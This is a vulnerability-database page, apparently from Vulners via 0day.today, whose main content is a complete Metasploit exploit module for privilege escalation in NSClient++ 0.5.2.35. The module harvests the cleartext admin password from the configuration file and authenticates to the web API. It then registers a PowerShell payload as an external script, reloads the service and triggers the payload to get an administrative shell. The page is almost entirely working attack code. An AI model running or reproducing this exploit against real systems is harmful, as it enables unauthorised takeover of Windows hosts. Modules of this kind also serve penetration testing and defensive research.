Lucene search
K

NSClient++ 0.5.2.35 Privilege Escalation Exploit

🗓️ 06 Jul 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 105 Views

NSClient++ Privilege Escalation - Gain admin access via web interfac

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpClient
  include ::Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',
        'Description' => %q{
          This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
          For this module to work, both the NSClient++ web interface  and `ExternalScripts` features must be enabled.
          You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [               # This module is kind of mix of the two following POCs :
            'kindredsec', # POC on www.exploit-db.com
            'BZYO',       # POC on www.exploit-db.com
            'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '48360'],
            ['EDB', '46802']
          ],
        'Platform' => %w[windows],
        'Arch' => [ARCH_X64],
        'Targets' =>
          [
            [
              'Windows',
              {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Type' => :windows_powershell
              }
            ]
          ],
        'Privileged' => true,
        'DisclosureDate' => '2020-10-20',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          },
        'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }
      )
    )

    deregister_options('RHOSTS')
    register_options [
      OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']),
      OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])
    ]
  end

  def rhost
    session.session_host
  end

  def configure_payload(token, cmd, key)
    print_status('Configuring Script with Specified Payload . . .')

    plugin_id = rand(1..10000).to_s

    node = {
      'path' => '/settings/external scripts/scripts',
      'key' => key
    }
    value = { 'string_data' => cmd }
    update = { 'node' => node, 'value' => value }
    payload = [
      {
        'plugin_id' => plugin_id,
        'update' => update
      }
    ]
    json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }

    r = send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })

    if !(r&.body.to_s.include? 'STATUS_OK')
      print_error('Error configuring payload. Hit error at: ' + endpoint)
    end

    print_status('Added External Script (name: ' + key + ')')
    sleep(3)
    print_status('Saving Configuration . . .')
    header = { 'version' => '1' }
    payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
    json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }

    send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })
  end

  def reload_config(token)
    print_status('Reloading Application . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/core/reload')
    })

    print_status('Waiting for Application to reload . . .')
    sleep(10)
    response = false
    count = 0
    until response
      begin
        sleep(datastore['DELAY'])
        r = send_request_cgi({
          'method' => 'GET',
          'headers' => { 'TOKEN' => token },
          'uri' => normalize_uri('/')
        })
        if r && !r.body.empty?
          response = true
        end
      rescue StandardError
        print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
      end

      count += 1
      if count > 10
        fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
      end
    end
  end

  def trigger_payload(token, key)
    print_status('Triggering payload, should execute shortly . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri("/query/#{key}")
    })
  rescue StandardError
    print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
  end

  def external_scripts_feature_enabled?(token)
    r = send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/registry/control/module/load'),
      'vars_get' => { 'name' => 'CheckExternalScripts' }
    })

    r&.body.to_s.include? 'STATUS_OK'
  end

  def get_auth_token(pwd)
    r = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/auth/token?password=' + pwd)
    })

    if r&.code == 200
      auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
      return auth_token
    end
  rescue StandardError => e
    print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
  end

  def get_arg(line)
    line.split('=')[1].gsub(/\s+/, '')
  end

  def leak_info
    file_contents = read_file(datastore['FILE'])
    return unless file_contents

    a = file_contents.split("\n")
    pwd = nil
    web_server_enabled = false

    a.each do |x|
      if x =~ /password/
        pwd = get_arg(x)
        print_good("Admin password found : #{pwd}")
      elsif x =~ /WEBServer/
        if x =~ /enabled/
          web_server_enabled = true
          print_good('NSClient web interface is enabled !')
        end
      end
    end
    return pwd, web_server_enabled
  end

  def check
    datastore['RHOST'] = session.session_host
    pwd, web_server_enabled = leak_info
    if pwd.nil?
      CheckCode::Unknown('Admin password not found in config file')
    elsif !web_server_enabled
      CheckCode::Safe('NSClient web interface is disabled')
    else
      token = get_auth_token(pwd)
      if token.nil?
        CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
      elsif external_scripts_feature_enabled?(token)
        CheckCode::Vulnerable('External scripts feature enabled !')
      else
        CheckCode::Safe('External scripts feature disabled !')
      end
    end
  end

  def exploit
    datastore['RHOST'] = session.session_host
    pwd, _web_server_enabled = leak_info
    cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
    token = get_auth_token(pwd)

    if token
      rand_key = rand_text_alpha_lower(10)
      configure_payload(token, cmd, rand_key)
      reload_config(token)
      token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted
      trigger_payload(token, rand_key)
    else
      print_error('Auth token couldn\'t be retrieved.')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation